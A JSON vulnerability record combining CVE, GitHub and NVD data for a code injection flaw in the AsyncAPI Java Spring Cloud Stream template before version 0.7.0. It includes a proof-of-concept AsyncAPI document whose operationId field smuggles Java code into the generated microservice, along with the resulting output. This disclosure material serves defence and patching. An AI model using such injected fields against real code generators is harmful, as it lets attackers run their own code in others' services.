{"id":"CVE-2021-37694","aliases":["CVE-2021-37694","GHSA-xj6r-2jpm-qvxp"],"related":[],"kind":"vulnerability","state":"published","title":"Code injection issue for java-spring-cloud-stream-template","summary":"@asyncapi/java-spring-cloud-stream-template generates a Spring Cloud Stream (SCSt) microservice. In versions prior to 0.7.0 arbitrary code injection was possible when an attacker controls the AsyncAPI document. An example is provided in GHSA-xj6r-2jpm-qvxp. There are no mitigations available and all users are advised to update.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"@asyncapi/java-spring-cloud-stream-template generates a Spring Cloud Stream (SCSt) microservice. In versions prior to 0.7.0 arbitrary code injection was possible when an attacker controls the AsyncAPI document. An example is provided in GHSA-xj6r-2jpm-qvxp. There are no mitigations available and all users are advised to update.","source":"cvelist"},{"lang":"en","text":"The following was initially reported by @jonaslagoni:\n\nGiven the following command:\n`ag ./dummy.json @asyncapi/java-spring-cloud-stream-template --force-write --output ./output`\n\nWith the following AsyncAPI document:\n```json\n{\n  \"asyncapi\": \"2.0.0\",\n  \"info\": {\n    \"title\": \"Streetlight\",\n    \"version\": \"1.0.0\"\n  },\n  \"defaultContentType\": \"json\",\n  \"channels\": {\n    \"security/audit/channel\": {\n      \"description\": \"Channel for the turn on command which should turn on the streetlight\",\n      \"parameters\": {\n        \"streetlight_id\": {\n          \"description\": \"The ID of the streetlight\",\n          \"schema\": {\n            \"type\": \"string\"\n          }\n        }\n      },\n      \"publish\": {\n        \"operationId\": \"test() { System.out.println(\\\"injected\\\"); return test(0); }\\n public Consumer<CustomClass> someothername\",\n        \"message\": {\n          \"name\": \"TurnonCommand\",\n          \"payload\": {\n            \"$ref\": \"#/components/schemas/CustomClass\"\n          }\n        }\n      }\n    }\n  },\n  \"components\": {\n    \"schemas\" : {\n      \"CustomClass\": {\n        \"type\": \"object\",\n        \"properties\": {\n          \"prop\": { \n              \"type\": \"string\"\n          }\n        }\n      }\n    }\n  }\n}\n```\n\nWhich changes the following output: \n\n```java\n...\n  @Bean\n  public Consumer<CustomClass> test() {\n    // Add business logic here.\n    return null;\n  }\n...\n```\nTo\n```java\n...\n  @Bean\n  public Consumer<CustomClass> test() { System.out.println(\"injected\"); return someothername(); }\n  public Consumer<CustomClass> someothername() {\n    // Add business logic here.\n    return null;\n  }\n...\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"@asyncapi/java-spring-cloud-stream-template genera un microservicio Spring Cloud Stream (SCSt). En versiones anteriores a 0.7.0, era posible una inyección de código arbitrario cuando un atacante controlaba el documento AsyncAPI. Se proporciona un ejemplo en GHSA-xj6r-2jpm-qvxp. No se presentan mitigaciones disponibles y se aconseja a todos los usuarios que actualicen","source":"nvd"}],"published":"2021-08-11T17:25:09.000Z","modified":"2026-07-08T06:28:21.063Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","score":8.7,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:2.0","vector":"AV:N/AC:M/Au:N/C:P/I:P/A:P","score":6.8,"rating":"MEDIUM"}],"cwes":["CWE-94"],"affected":[{"ranges":[{"version":"< 0.7.0","status":"affected"}],"vendor":"asyncapi","product":"java-spring-cloud-stream-template","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.7.0"}],"ecosystem":"npm","package":"@asyncapi/java-spring-cloud-stream-template","purl":"pkg:npm/%40asyncapi/java-spring-cloud-stream-template","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.7.0"}],"vendor":"asyncapi","product":"java-spring-cloud-stream-template","cpe":"cpe:2.3:a:asyncapi:java-spring-cloud-stream-template:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/asyncapi/java-spring-cloud-stream-template/security/advisories/GHSA-xj6r-2jpm-qvxp","tags":["exploit","third-party-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-37694","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/asyncapi/java-spring-cloud-stream-template","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2021-37694","url":"https://www.cve.org/CVERecord?id=CVE-2021-37694","licence":"CVE Terms of Use","modified":"2024-08-04T01:23:01.532Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-xj6r-2jpm-qvxp","url":"https://github.com/advisories/GHSA-xj6r-2jpm-qvxp","licence":"CC-BY-4.0","modified":"2026-07-08T06:28:21.063Z"},{"source":"nvd","name":"NVD","id":"CVE-2021-37694","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-37694","licence":"Public domain","modified":"2026-06-17T04:01:00.020Z"}],"updatedAt":"2026-11-25T22:58:03.130Z","epss":{"score":0.00877,"percentile":0.60086,"date":"2026-12-01T12:00:22.000Z"}}